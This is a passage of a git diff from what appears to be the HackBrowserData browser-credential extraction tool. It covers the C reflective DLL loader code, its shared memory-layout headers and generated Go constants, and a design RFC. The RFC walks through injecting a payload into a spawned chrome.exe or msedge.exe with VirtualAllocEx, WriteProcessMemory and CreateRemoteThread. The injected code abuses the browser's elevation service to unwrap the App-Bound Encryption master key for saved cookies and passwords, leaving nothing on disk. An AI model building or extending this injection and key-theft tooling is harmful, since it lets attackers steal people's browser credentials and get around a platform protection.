0; i < newNt->FileHeader.NumberOfSections; i++) { DWORD newProtect = PAGE_READONLY; DWORD ch = sec[i].Characteristics; @@ -171,21 +204,60 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) newProtect = PAGE_READWRITE; } DWORD oldProtect = 0; - pVirtualProtect(newBase + sec[i].VirtualAddress, - sec[i].Misc.VirtualSize, - newProtect, &oldProtect); + imp->VirtualProtect(newBase + sec[i].VirtualAddress, + sec[i].Misc.VirtualSize, + newProtect, &oldProtect); } - MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS); +} - pNtFlushIC((HANDLE)-1, NULL, 0); - MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED); - - // lpReserved carries the original raw-image base so DllMain can write - // the decrypted key back into the scratch region the Go injector reads. +// invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH. +// lpReserved carries the original raw-image base so DllMain (= the ABE +// extractor entry) can write the decrypted key back into the scratch +// region the Go injector reads. +static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, + ULONG_PTR scratchBase) +{ pfn_DllMain pDllMain = (pfn_DllMain)(newBase + newNt->OptionalHeader.AddressOfEntryPoint); - pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)imageBase); - - MARK(imageBase, BOOTSTRAP_MARK_DONE); + pDllMain((HINSTANCE)newBase, DLL_PROCESS_ATTACH, (LPVOID)scratchBase); return (ULONG_PTR)newBase; } + +__declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) +{ + ULONG_PTR imageBase = locate_own_image_base(); + if (imageBase == 0) return 0; + MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND); + + resolved_imports imp; + if (!read_preresolved_imports(imageBase, &imp)) { + MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS); + return 0; + } + MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK); + + PIMAGE_NT_HEADERS64 newNt; + BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt); + if (!newBase) { + MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC); + return 0; + } + MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK); + MARK(imageBase, BOOTSTRAP_MARK_COPIED); + + apply_base_relocations(newBase, newNt); + MARK(imageBase, BOOTSTRAP_MARK_RELOCATED); + + link_iat(newBase, newNt, &imp); + MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED); + + set_section_protections(newBase, newNt, &imp); + MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS); + + imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0); + MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED); + + ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase); + MARK(imageBase, BOOTSTRAP_MARK_DONE); + return result; +} diff --git a/crypto/windows/abe_native/bootstrap.h b/crypto/windows/abe_native/bootstrap.h index 37446aa..bff63e0 100644 --- a/crypto/windows/abe_native/bootstrap.h +++ b/crypto/windows/abe_native/bootstrap.h @@ -1,50 +1,9 @@ -// SPDX-License-Identifier: Apache-2.0 - #ifndef HBD_ABE_BOOTSTRAP_H #define HBD_ABE_BOOTSTRAP_H #define WIN32_LEAN_AND_MEAN #include - -// Scratch layout inside imageBase (the raw-file payload region in the -// target process). Shared contract with the Go injector — keep the -// offsets and meanings in sync with utils/injector/reflective_windows.go. -// -// 0x28 step marker (written by Bootstrap) -// 0x29 key status (0x01 = ready, written by DllMain) -// 0x40..0x67 pre-Bootstrap: 5 pre-resolved Win32 fn pointers -// post-DllMain : 32-byte master key at 0x40..0x5F -// -// Windows' PE loader ignores the DOS stub region (0x40..0x77), and -// Bootstrap only reads the imports once at function start, so DllMain -// can safely overwrite 0x40..0x5F with the key afterwards. - -#define BOOTSTRAP_MARKER_OFFSET 0x28 - -#define BOOTSTRAP_KEY_STATUS_OFFSET 0x29 -#define BOOTSTRAP_KEY_STATUS_READY 0x01 - -#define BOOTSTRAP_KEY_OFFSET 0x40 -#define BOOTSTRAP_KEY_LEN 32 - -#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET 0x40 -#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET 0x48 -#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET 0x50 -#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET 0x58 -#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET 0x60 - -#define BOOTSTRAP_MARK_MZ_FOUND 0x02 -#define BOOTSTRAP_MARK_IMPORTS_OK 0x05 -#define BOOTSTRAP_MARK_ALLOC_OK 0x06 -#define BOOTSTRAP_MARK_COPIED 0x07 -#define BOOTSTRAP_MARK_RELOCATED 0x08 -#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09 -#define BOOTSTRAP_MARK_PERMISSIONS 0x0A -#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B -#define BOOTSTRAP_MARK_DONE 0xFF - -#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3 -#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4 +#include "bootstrap_layout.h" #ifdef __cplusplus extern "C" { diff --git a/crypto/windows/abe_native/bootstrap/layout.go b/crypto/windows/abe_native/bootstrap/layout.go new file mode 100644 index 0000000..ba53746 --- /dev/null +++ b/crypto/windows/abe_native/bootstrap/layout.go @@ -0,0 +1,43 @@ +// Code generated by cmd/cgo -godefs; DO NOT EDIT. +// cgo -godefs layout_gen.go + +package bootstrap + +const ( + MarkerOffset = 0x28 + KeyStatusOffset = 0x29 + KeyStatusReady = 0x1 + ExtractErrCodeOffset = 0x2a + HResultOffset = 0x2c + ComErrOffset = 0x30 + KeyOffset = 0x40 + KeyLen = 0x20 + + ImpLoadLibraryAOffset = 0x40 + ImpGetProcAddressOffset = 0x48 + ImpVirtualAllocOffset = 0x50 + ImpVirtualProtectOffset = 0x58 + ImpNtFlushICOffset = 0x60 + + MarkMZFound = 0x2 + MarkImportsOK = 0x5 + MarkAllocOK = 0x6 + MarkCopied = 0x7 + MarkRelocated = 0x8 + MarkImportsFixed = 0x9 + MarkPermissions = 0xa + MarkCacheFlushed = 0xb + MarkDone = 0xff + MarkErrImports = 0xe3 + MarkErrAlloc = 0xe4 + + ErrOk = 0x0 + ErrBasename = 0x1 + ErrBrowserUnknown = 0x2 + ErrEnvMissing = 0x3 + ErrBase64 = 0x4 + ErrBstrAlloc = 0x5 + ErrComCreate = 0x6 + ErrDecryptData = 0x7 + ErrKeyLen = 0x8 +) diff --git a/crypto/windows/abe_native/bootstrap/layout_gen.go b/crypto/windows/abe_native/bootstrap/layout_gen.go new file mode 100644 index 0000000..0304e66 --- /dev/null +++ b/crypto/windows/abe_native/bootstrap/layout_gen.go @@ -0,0 +1,50 @@ +//go:build ignore + +// Code generation entry for scratch layout constants shared between the +// C payload and the Go injector. Regenerate with `make gen-layout`. + +package bootstrap + +/* +#include "../bootstrap_layout.h" +*/ +import "C" + +const ( + MarkerOffset = C.BOOTSTRAP_MARKER_OFFSET + KeyStatusOffset = C.BOOTSTRAP_KEY_STATUS_OFFSET + KeyStatusReady = C.BOOTSTRAP_KEY_STATUS_READY + ExtractErrCodeOffset = C.BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET + HResultOffset = C.BOOTSTRAP_HRESULT_OFFSET + ComErrOffset = C.BOOTSTRAP_COMERR_OFFSET + KeyOffset = C.BOOTSTRAP_KEY_OFFSET + KeyLen = C.BOOTSTRAP_KEY_LEN + + ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET + ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET + ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET + ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET + ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET + + MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND + MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK + MarkAllocOK = C.BOOTSTRAP_MARK_ALLOC_OK + MarkCopied = C.BOOTSTRAP_MARK_COPIED + MarkRelocated = C.BOOTSTRAP_MARK_RELOCATED + MarkImportsFixed = C.BOOTSTRAP_MARK_IMPORTS_FIXED + MarkPermissions = C.BOOTSTRAP_MARK_PERMISSIONS + MarkCacheFlushed = C.BOOTSTRAP_MARK_CACHE_FLUSHED + MarkDone = C.BOOTSTRAP_MARK_DONE + MarkErrImports = C.BOOTSTRAP_MARK_ERR_IMPORTS + MarkErrAlloc = C.BOOTSTRAP_MARK_ERR_ALLOC + + ErrOk = C.ABE_ERR_OK + ErrBasename = C.ABE_ERR_BASENAME + ErrBrowserUnknown = C.ABE_ERR_BROWSER_UNKNOWN + ErrEnvMissing = C.ABE_ERR_ENV_MISSING + ErrBase64 = C.ABE_ERR_BASE64 + ErrBstrAlloc = C.ABE_ERR_BSTR_ALLOC + ErrComCreate = C.ABE_ERR_COM_CREATE + ErrDecryptData = C.ABE_ERR_DECRYPT_DATA + ErrKeyLen = C.ABE_ERR_KEY_LEN +) diff --git a/crypto/windows/abe_native/bootstrap_layout.h b/crypto/windows/abe_native/bootstrap_layout.h new file mode 100644 index 0000000..f2cc427 --- /dev/null +++ b/crypto/windows/abe_native/bootstrap_layout.h @@ -0,0 +1,99 @@ +#ifndef HBD_ABE_BOOTSTRAP_LAYOUT_H +#define HBD_ABE_BOOTSTRAP_LAYOUT_H + +#include +#include + +// BootstrapScratch describes the IPC contract between the C payload running +// inside chrome.exe and the Go injector in our own process. It squats inside +// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS +// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28 +// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left +// untouched so the PE loader can still find the NT headers. +// +// This header is deliberately free of so cgo -godefs can read it +// on macOS / Linux to regenerate the Go-side constants. + +typedef struct __attribute__((packed)) BootstrapScratch { + uint8_t dos_header_prefix[0x28]; // 0x00..0x27 + + uint8_t marker; // 0x28: Bootstrap progress marker + uint8_t key_status; // 0x29: 0x01 = key ready + uint8_t extract_err_code; // 0x2A: ABE_ERR_* category on failure + uint8_t _reserved_2b; // 0x2B + + uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise) + uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure + + uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C + + // 0x40..0x67: time-shared region + // pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers + // post-DllMain : 32-byte master key at 0x40..0x5F + union { + struct { + uintptr_t LoadLibraryA; // 0x40 + uintptr_t GetProcAddress; // 0x48 + uintptr_t VirtualAlloc; // 0x50 + uintptr_t VirtualProtect; // 0x58 + uintptr_t NtFlushInstructionCache; // 0x60 + } imports; + uint8_t key[32]; // 0x40..0x5F + } shared; +} BootstrapScratch; + +// Byte offsets derived from the struct. These are the ONLY place raw numeric +// offsets appear; every C and Go consumer uses these names (or the Go-side +// constants generated from them via cgo -godefs). +#define BOOTSTRAP_MARKER_OFFSET offsetof(struct BootstrapScratch, marker) +#define BOOTSTRAP_KEY_STATUS_OFFSET offsetof(struct BootstrapScratch, key_status) +#define BOOTSTRAP_KEY_STATUS_READY 0x01 +#define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code) +#define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult) +#define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err) +#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key) +#define BOOTSTRAP_KEY_LEN 32 + +#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA) +#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress) +#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc) +#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect) +#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache) + +// Progress markers written by Bootstrap itself (enum-like, not offsets). +#define BOOTSTRAP_MARK_MZ_FOUND 0x02 +#define BOOTSTRAP_MARK_IMPORTS_OK 0x05 +#define BOOTSTRAP_MARK_ALLOC_OK 0x06 +#define BOOTSTRAP_MARK_COPIED 0x07 +#define BOOTSTRAP_MARK_RELOCATED 0x08 +#define BOOTSTRAP_MARK_IMPORTS_FIXED 0x09 +#define BOOTSTRAP_MARK_PERMISSIONS 0x0A +#define BOOTSTRAP_MARK_CACHE_FLUSHED 0x0B +#define BOOTSTRAP_MARK_DONE 0xFF +#define BOOTSTRAP_MARK_ERR_IMPORTS 0xE3 +#define BOOTSTRAP_MARK_ERR_ALLOC 0xE4 + +// Failure categories written by abe_extractor.c. Complements hresult: many +// failures (env missing, unknown browser) have no COM HRESULT, so they need +// a separate category code. 0 = no error / success. +#define ABE_ERR_OK 0x00 +#define ABE_ERR_BASENAME 0x01 // GetOwnExeBasename failed +#define ABE_ERR_BROWSER_UNKNOWN 0x02 // exe not in com_iid table +#define ABE_ERR_ENV_MISSING 0x03 // HBD_ABE_ENC_B64 missing or oversized +#define ABE_ERR_BASE64 0x04 // CryptStringToBinaryA failed +#define ABE_ERR_BSTR_ALLOC 0x05 // SysAllocStringByteLen returned NULL +#define ABE_ERR_COM_CREATE 0x06 // CoCreateInstance failed both v1 and v2 +#define ABE_ERR_DECRYPT_DATA 0x07 // IElevator.DecryptData returned failure HRESULT +#define ABE_ERR_KEY_LEN 0x08 // DecryptData succeeded but wrong length + +// Compile-time layout verification. Any drift here = build break. +_Static_assert(sizeof(void *) == 8, "BootstrapScratch layout assumes 64-bit"); +_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset"); +_Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key_status offset"); +_Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset"); +_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset"); +_Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset"); +_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset"); +_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length"); + +#endif // HBD_ABE_BOOTSTRAP_LAYOUT_H diff --git a/crypto/windows/abe_native/com_iid.c b/crypto/windows/abe_native/com_iid.c index def20a7..d1ca059 100644 --- a/crypto/windows/abe_native/com_iid.c +++ b/crypto/windows/abe_native/com_iid.c @@ -1,4 +1,3 @@ -// SPDX-License-Identifier: Apache-2.0 #include "com_iid.h" // CLSID / IID values migrated from HackBrowserData-injector-old's diff --git a/crypto/windows/abe_native/com_iid.h b/crypto/windows/abe_native/com_iid.h index 94cc00e..0425dfd 100644 --- a/crypto/windows/abe_native/com_iid.h +++ b/crypto/windows/abe_native/com_iid.h @@ -1,5 +1,3 @@ -// SPDX-License-Identifier: Apache-2.0 - #ifndef HBD_ABE_COM_IID_H #define HBD_ABE_COM_IID_H diff --git a/rfcs/010-chrome-abe-integration.md b/rfcs/010-chrome-abe-integration.md new file mode 100644 index 0000000..2f4ffbf --- /dev/null +++ b/rfcs/010-chrome-abe-integration.md @@ -0,0 +1,329 @@ +# RFC-010: Chrome App-Bound Encryption Integration + +**Author**: moonD4rk +**Status**: Living Document +**Created**: 2026-04-17 +**Last updated**: 2026-04-19 + +## 1. Overview + +Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`). + +This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.** + +Related RFCs: + +- [RFC-003](003-chromium-encryption.md) — cipher versions (v10, v11, v20) +- [RFC-006](006-key-retrieval-mechanisms.md) — `KeyRetriever` / `ChainRetriever` +- [RFC-009](009-windows-locked-file-bypass.md) — other Windows-specific handling + +### 1.1 Tested matrix (as of 2026-04-19) + +Single source of truth for version pins and observed-working targets. When re-validating, update dates and re-run the regression flow documented in the author's private playbook (not in this RFC). + +| Component | Contract | Last verified | +|---|---|---| +| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) | 1.20.14 | +| Windows host | Any Win10 1909+ (PE loader + UCRT) | Windows 10 19044 | +| Chrome family | Any v127+ (ABE introduced) | Chrome 147.0.7727.57 | +| zig toolchain | 0.13+ (for `make payload`) | 0.16.0 | +| Target arch | x86_64 only (x86 / ARM64 reserved) | x86_64 | + +## 2. The constraint that shapes the design + +`elevation_service` verifies the caller: + +1. The calling process's main executable must be a **legitimate browser binary** (path in `Program Files`, signed by the browser vendor). +2. Process integrity is checked via other sandbox gates. + +Consequence: **the code that issues the `IElevator::DecryptData` COM call must be running inside a `chrome.exe` / `msedge.exe` / `brave.exe` process**. A plain Go process, even elevated, is refused. + +The architecture therefore ships a small native payload, injects it into a freshly-spawned browser process, has it invoke the COM RPC, and hands the 32-byte master key back to the Go side. Everything else (v20 AES-GCM decrypt, DB iteration, JSON output) is already Go. + +## 3. Architecture + +End-to-end flow when `hack-browser-data.exe` encounters a v20 Chromium cookie on Windows: + +**Stage 1 — Our process** (`hbd.exe`, `CGO_ENABLED=0`) + +``` +browser/chromium.Extract() + → keyretriever.Chain [ABERetriever, DPAPIRetriever] + → ABERetriever.RetrieveKey(): + reads Local State → extracts APPB-prefixed blob + resolves browser exe via registry App Paths + → utils/injector.Reflective.Inject(exePath, payload, env) +``` + +**Stage 2 — Payload preparation** (still our process) + +1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB). +2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4). +3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`. + +**Stage 3 — Spawn + inject** (still our process, target is newly spawned) + +``` +CreateProcessW(browser.exe, CREATE_SUSPENDED) +VirtualAllocEx(target, RWX, sizeOf(payload)) +WriteProcessMemory(patched bytes) +ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init +CreateRemoteThread(target, remoteBase + bootstrapFileOffset) +``` + +**Stage 4 — Inside the remote `browser.exe`** + +The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`: + +``` +Bootstrap → see §4.1 (7 helpers + orchestrator) + ↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase) +DoExtractKey → see §4.2 + CoCreateInstance(CLSID, IID_v2 | fallback IID_v1) + CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE) + vtbl[slot]->DecryptData(bstrEnc) + ↓ COM RPC + elevation_service (SYSTEM) → returns 32-byte plaintext key + publish_key() → imageBase[0x40..0x5F] (success) + publish_error(code, hr, comErr) (failure) +``` + +**Stage 5 — Back in our process** + +1. `WaitForSingleObject(thread, 30s)` — covers cold-start of `GoogleChromeElevationService`. +2. `ReadProcessMemory` for the 12-byte diagnostic header, then 32-byte key when `status == ready`. +3. `TerminateProcess(browser)` — the target was a throwaway from the start. + +The returned key flows back up to `crypto.DecryptChromiumV20` (cross-platform AES-256-GCM; see §5.3) and then to the usual cookie/password extraction pipeline. + +## 4. C payload — `crypto/windows/abe_native/` + +Three translation units, ~500 lines of pure C. No C++, no assembly, no direct syscalls, no vendored third-party code (Stephen Fewer's loader was evaluated and rejected — see §8.2). Built with `zig cc -target x86_64-windows-gnu`. + +### 4.1 Reflective loader — `bootstrap.c` + +`Bootstrap(LPVOID lpParameter)` exported as `__declspec(dllexport)`. The Go injector calls it at its **raw file offset** (not RVA) because we inject raw file bytes rather than a mapped image. + +Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**: + +| Helper | Responsibility | +|---|---| +| `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) | +| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) | +| `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections | +| `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` | +| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` | +| `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` | +| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)` — `imageBase` is the scratch handoff pointer | + +Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage. + +### 4.2 COM extractor — `abe_extractor.c` + +Standard DLL whose `DllMain(DLL_PROCESS_ATTACH)` delegates to `DoExtractKey`, which is itself a thin orchestrator: + +``` +DoExtractKey(imageBase) + CoInitializeEx(APARTMENTTHREADED) + GetOwnExeBasename → LookupBrowserByExe (com_iid.c) + extract_key_inner(ids) → extract_result { hr, comErr, errCode, plain } + if errCode == OK && plain correct length: + publish_key(imageBase, plain) // atomic write with MemoryBarrier + else: + publish_error(imageBase, code, hr, comErr) + SysFreeString + SecureZeroMemory + CoUninitialize +``` + +`extract_key_inner` owns a single resource (`bstrEnc`) and uses early returns — no goto chain. Steps: read `HBD_ABE_ENC_B64` env var, base64-decode, `SysAllocStringByteLen`, `CoCreateInstance(IID_v2)` with fallback to `IID_v1`, `CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE)`, **slot-based vtable dispatch** of `DecryptData` (slot 5 for Chrome-family, 8 for Edge, 13 for Avast). + +**Diagnostic channel** (`extract_err_code` / `hresult` / `com_err` fields in the scratch region, added alongside the success byte): lets the Go side report structured failures like `err=CoCreateInstance failed, hr=E_ACCESSDENIED (0x80070005), comErr=0x0` instead of the old `status=0x00, marker=0xff`. Failure categories enumerated in `bootstrap_layout.h`: + +``` +ABE_ERR_BASENAME / BROWSER_UNKNOWN / ENV_MISSING / BASE64 +ABE_ERR_BSTR_ALLOC / COM_CREATE / DECRYPT_DATA / KEY_LEN +``` + +### 4.3 Vendor table — `com_iid.c` / `com_iid.h` + +Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind` selects the DecryptData vtable slot. Schema: + +```c +{ "chrome.exe", CHROME_BASE, { CLSID_bytes }, { IID_v1_bytes }, TRUE, { IID_v2_bytes } } +``` + +Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork. + +### 4.4 Pre-resolved imports (non-obvious design) + +The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction). + +Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing. + +Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session. + +## 5. Go integration + +### 5.1 Injector package — `utils/injector/` + +Three files collaborate: + +| File | Role | +|---|---| +| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator | +| `winapi_windows.go` | Package-level `windows.LazyProc` handles + `callBoolErr` helper. Centralizes `VirtualAllocEx` / `CreateRemoteThread` / NtFlushIC / import-address lookups. `ReadProcessMemory` / `WriteProcessMemory` use `x/sys/windows` typed wrappers directly. | +| `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). | +| `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. | +| `arch_windows.go` | Architecture validation (amd64-only today). | + +`scratchResult` is the Go mirror of the remote process's 12-byte diagnostic header: `Marker / Status / ErrCode / HResult / ComErr` + optional 32-byte `Key`. One `ReadProcessMemory` covers the header; a second reads the key only when `Status == KeyStatusReady`. + +### 5.2 Scratch layout codegen + +The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift: + +```c +_Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset"); +_Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset"); +_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset"); +``` + +Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` is wired into CI to fail if the committed `layout.go` is stale. + +**Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`. + +### 5.3 Retriever chain & v20 routing + +`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`: + +1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI. +2. Resolves browser executable via `utils/browserutil/path_windows.go` (registry App Paths → hardcoded fallback). +3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var. +4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3. +5. Returns the 32-byte key on success, or a formatted diagnostic error. + +On extraction success, logs at `Info` level (`abe: retrieved master key via reflective injection`). + +**v20 decryption** is cross-platform by design: `browser/chromium/decrypt.go` routes `CipherV20` → `crypto.DecryptChromiumV20` (defined in `crypto/crypto.go`, uses `AESGCMDecrypt`). This lets Linux/macOS CI exercise the same decryption path as Windows — only the key-source side is platform-gated. + +## 6. Build chain + +- **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI. +- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary. +- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. +- **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload. + +## 7. Impact on non-Windows contributors — zero + +| Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? | +|---|---|---|---| +| macOS / Linux feature work | no | no | yes | +| Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) | +| Windows release with ABE | **yes** | no | `make build-windows` | +| CI on any host (non-release) | no | no | yes | + +All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for the payload embed). + +## 8. Zero disk footprint (enforced) + +**No payload bytes ever touch disk on the target machine.** + +- Payload DLL exists only as: + 1. Build artifact on the developer machine (`crypto/abe_extractor_amd64.bin`, git-ignored) + 2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`) + 3. Go `[]byte` in our process memory (one `copy()` for import patching) + 4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess` + +No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM. + +### 8.1 Scratch layout + +``` +imageBase + 0x00 MZ header (untouched by us) +imageBase + 0x28 marker (1 B) ← Bootstrap progress +imageBase + 0x29 key_status (1 B; 0x01 = ready) +imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure +imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success) +imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure +imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite) +imageBase + 0x40..0x67 shared region (union): + pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress, + VirtualAlloc, VirtualProtect, NtFlushIC) + post-DllMain : 32-byte master key at 0x40..0x5F +``` + +`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers. + +## 9. Comparison with reference implementations + +Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem. + +| Dimension | **This project** | **injector-old** (local C++ 